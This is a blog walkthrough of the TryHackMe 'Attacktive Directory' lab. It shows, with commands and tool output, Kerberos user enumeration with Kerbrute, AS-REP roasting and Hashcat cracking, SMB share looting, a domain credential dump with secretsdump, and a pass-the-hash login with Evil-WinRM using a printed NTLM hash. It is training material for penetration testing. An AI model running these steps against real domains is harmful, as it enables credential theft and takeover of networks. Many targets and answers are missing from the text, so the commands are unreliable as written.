TryHackMe – Attacktive Directory Write-up

Hi everyone! Today’s post is on a TryHackMe challenge on Attacktive Directory that will introduce to u Kerberos user enumeration using Kerbrute on Domain Controller (DC), AS-REP Roasting using GetNPUsers on DC, Hashcat to crack Kerberos hashes, dumping password hashes from DC, and using Evil-WinRM to access the DC. Let’s get started!

1. Deploy the machine

You can use Kali Linux, Parrot OS, or TryHackMe (THM)’s attack machine to attack the Domain Controller (DC).

2. Setup

Impacket installation

Impacket has always been very difficult to install correctly. Any missing steps often result in a brunch of errors when running tools from Impacket. Thus, TryHackMe (THM) provided us steps to install correctly. If you are using THM’s attack machine, Impacket and Bloodhound have already been installed.

Firstly, we have to clone Impacket from the GitHub repository.

kali@kali~$ sudo git clone /opt/impacket

Next, we shall install the requirements.

kali@kali~$ sudo pip3 install -r /opt/impacket/requirements.txt

Finally, we can run the Python installation script.

kali@kali~$ cd /opt/impacket/ && sudo python3 ./ install

2. Welcome to Active Directory

We first have to use nmap to check out the services available on the Domain Controller (DC). In this simple lab setup, there is only the DC available. Of course with different Active Directory (AD) environments, we may have to enumerate and attack other workstations before we have a shot to access the DC.

kali@kali~$ sudo nmap -sC -sV -n -p-
[sudo] password for kali: 
Starting Nmap 7.91 ( ) at 2022-01-11 22:05 EST
Nmap scan report for
Host is up (0.36s latency).
Not shown: 987 closed ports
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-01-12 07:17:13Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: THM-AD
| NetBIOS_Domain_Name: THM-AD
| DNS_Domain_Name: spookysec.local
| DNS_Computer_Name: AttacktiveDirectory.spookysec.local
| DNS_Tree_Name: spookysec.local
| Product_Version: 10.0.17763
|_ System_Time: 2022-01-12T07:18:14+00:00
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Not valid before: 2022-01-11T06:34:36
|_Not valid after: 2022-07-13T06:34:36
|_ssl-date: 2022-01-12T07:18:26+00:00; +1s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49672/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open msrpc Microsoft Windows RPC
49678/tcp open msrpc Microsoft Windows RPC
49683/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
49699/tcp open msrpc Microsoft Windows RPC Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows

We can also use enum4linux on port 139/445 to enumerate the NetBIOS for information such as the existing usernames, NetBIOS-Domain Name, SID, etc.

kali@kali~$ enum4linux
Starting enum4linux v0.8.9 ( ) on Tue Jan 11 22:10:14 2022

|    Target Information    |
Target ...........
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

|    Enumerating Workgroup/Domain on   |
[E] Can't find workgroup/domain

|    Nbtstat Information for    |
Looking up status of
No reply from

|    Session Check on    |
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./ line 437.
[+] Server allows sessions using username '', password ''
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./ line 451.
[+] Got domain/workgroup name: 

|    Getting domain SID for    |
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./ line 359.
Domain Name: THM-AD
Domain Sid: S-1-5-21-3591857110-2884097990-301047963
[+] Host is part of a domain (not a workgroup)


Questions and answers

What tool will allow us to enumerate port 139/445?


What is the NetBIOS-Domain Name of the machine?


What invalid TLD do people commonly use for their Active Directory Domain?


4. Enumerating Users via Kerberos

Based on TryHackMe (THM), we are recommended to use Kerbrute for this challenge to brute force Kerberos (key authentication service in Active Directory) to enumerate usernames and passwords. A modified username list and password list have been given to us. Note that it is actually not recommended to brute force credentials due to account lockout policies.

Firstly, I downloaded Kerbrute into my Kali and change its execution permission.

kali@kali~$ wget
kali@kali~$ chmod +x kerbrute_linux_amd64

Next, I downloaded both the user list and password list.

kali@kali~$ wget
kali@kali~$ wget

We can now check out the usage of the tool and use it on the Domain Controller (DC).

kali@kali~$ ./kerbrute_linux_amd64 --help
  kerbrute [command]

Available Commands:
  bruteforce    Bruteforce username:password combos, from a file or stdin
  bruteuser     Bruteforce a single user's password from a wordlist
  help          Help about any command
  passwordspray Test a single password against a list of users
  userenum      Enumerate valid domain usernames via Kerberos
  version       Display version info and quit

      --dc string       The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
      --delay int       Delay in millisecond between each attempt. Will always use single thread if set
  -d, --domain string   The full domain to use (e.g.
  -h, --help            help for kerbrute
  -o, --output string   File to write logs to. Optional.
      --safe            Safe mode. Will abort if any user comes back as locked out. Default: FALSE
  -t, --threads int     Threads to use (default 10)
  -v, --verbose         Log failures and errors

kali@kali~$ ./kerbrute_linux_amd64 userenum --dc= -d=spookysec.local.  userlist.txt
Version: v1.0.3 (9dad6e1) - 01/11/22 - Ronnie Flathers @ropnop

2022/01/11 22:53:06 >  Using KDC(s):
2022/01/11 22:53:06 >

2022/01/11 22:53:07 >  [+] VALID USERNAME:       james@spookysec.local.
2022/01/11 22:53:13 >  [+] VALID USERNAME:       svc-admin@spookysec.local.
2022/01/11 22:53:21 >  [+] VALID USERNAME:       James@spookysec.local.
2022/01/11 22:53:24 >  [+] VALID USERNAME:       robin@spookysec.local.
2022/01/11 22:53:54 >  [+] VALID USERNAME:       darkstar@spookysec.local.
2022/01/11 22:54:13 >  [+] VALID USERNAME:       administrator@spookysec.local.
2022/01/11 22:54:50 >  [+] VALID USERNAME:       backup@spookysec.local.
2022/01/11 22:55:08 >  [+] VALID USERNAME:       paradox@spookysec.local.

Questions and answers

What command within Kerbrute will allow us to enumerate valid usernames?


What notable account is discovered? (These should jump out at you)


What is the other notable account is discovered? (These should jump out at you)


5. Abusing Kerberos

In this challenge, we can ASREPRoasting as a user account or more do not require pre-authentication details before requesting a Kerberos Ticket. Thus, we can use Impacket’s /opt/impacket/examples/ to query ASReproastable accounts from the Key Distribution Center. However, we will need to provide a list of usernames. Since previously we already brute force the list of usernames, we can use those usernames.

In my validusers.txt:


Obtaining ASReproastable accounts.

kali@kali~$ python3 /opt/impacket/examples/ -no-pass -usersfile validusers.txt -dc-ip spookysec.local/
Impacket v0.9.25.dev1+20220105.151306.10e53952 - Copyright 2021 SecureAuth Corporation

[-] User james doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User James doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User robin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User darkstar doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User backup doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User paradox doesn't have UF_DONT_REQUIRE_PREAUTH set

We can see that only svc-admin can request a ticket without a need to provide its password.

A quick google will allow us to find out we should use mode 18200 to crack the hash.

kali@kali~$ hashcat -h | grep 18200
  18200 | Kerberos 5, etype 23, AS-REP                     | Network Protocols

Finally, we can attempt to crack the password of svc-admin using hashcat. I first store the hash in hash.txt before cracking it with the password list provided previously.

kali@kali~$ cat hash.txt

kali@kali~$ hashcat -m18200 hash.txt passwordlist.txt

It should only take a few seconds to crack the hash on a virtual machine Kali. If you do it on your Windows host, it will be even faster. We should obtain the password “management2005”.

Questions and answers

We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?


Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)

Kerberos 5, etype 23, AS-REP

What mode is the hash?


Now crack the hash with the modified password list provided, what is the user accounts password?


6. Back to the Basics

We can now attempt to enumerate SMB shared folders using our newly found credentials.

kali@kali~$ smbclient -L -U "svc-admin"
Enter WORKGROUP\svc-admin's password: management2005

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        backup          Disk      
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share

Going through each shared folder, I found an interesting folder to which I can login and see an interesting text file.

kali@kali~$ smbclient \\\\\\backup -U "svc-admin"
Enter WORKGROUP\svc-admin's password: management2005
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Apr  4 15:08:39 2020
  ..                                  D        0  Sat Apr  4 15:08:39 2020
  backup_credentials.txt              A       48  Sat Apr  4 15:08:53 2020

I downloaded the text file and looked at its content.

smb: \> get backup_credentials.txt
getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \> exit

kali@kali~$ cat backup_credentials.txt

It looks like it is base64 encoded. Thus, decoding it allows us to see a valid credential.

kali@kali~$ base64 -d backup_credentials.txt

Questions and answers

What utility can we use to map remote SMB shares?


Which option will list shares?


How many remote shares is the server listing?


There is one particular share that we have access to that contains a text file. Which share is it?


What is the content of the file?


Decoding the contents of the file, what is the full contents?


7. Elevating Privileges within the Domain

Obtaining the credentials of backup allows us to have more privileges as the backup account in a Domain Controller (DC) This is because any changes to the Active Directory (AD) will reflect those changes in this backup account. As a result, we can obtain every user’s password hashes. To do so, we can use Impacket’s

kali@kali~$ python3 /opt/impacket/examples/  spookysec.local/backup:backup2517860@
Impacket v0.9.25.dev1+20220105.151306.10e53952 - Copyright 2021 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

Finally, we will need to install evil-winrm to access the system since port 5985 for WinRM is open.

kali@kali~$ sudo gem install evil-winrm

Questions and answers

What method allowed us to dump NTDS.DIT?


What is the Administrators NTLM hash?


What method of attack could allow us to authenticate as the user without the password?

pass the hash

Using a tool called Evil-WinRM what option will allow us to use a hash?


8. Flag submission panel

Submit the flags for each user account. They can be located on each user’s desktop. We can just login into the administrator’s account which have access to other users’ desktops.

kali@kali~$ evil-winrm -i -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
*Evil-WinRM* PS C:\Users\Administrator\Documents> 

We can now access each users’s desktop to obtain their hash.

*Evil-WinRM* PS C:\Users\Administrator\Documents> cd C:\Users\svc-admin\Desktop
*Evil-WinRM* PS C:\Users\svc-admin\Desktop> dir

    Directory: C:\Users\svc-admin\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         4/4/2020  12:18 PM             28 user.txt.txt

*Evil-WinRM* PS C:\Users\svc-admin\Desktop> type user.txt.txt
*Evil-WinRM* PS C:\Users\svc-admin\Desktop> cd C:\Users\backup\Desktop
*Evil-WinRM* PS C:\Users\backup\Desktop> dir

    Directory: C:\Users\backup\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         4/4/2020  12:19 PM             26 PrivEsc.txt

*Evil-WinRM* PS C:\Users\backup\Desktop> type PrivEsc.txt
*Evil-WinRM* PS C:\Users\backup\Desktop> cd C:\Users\Administrator\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         4/4/2020  11:39 AM             32 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt

Questions and answers







I hope this article has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.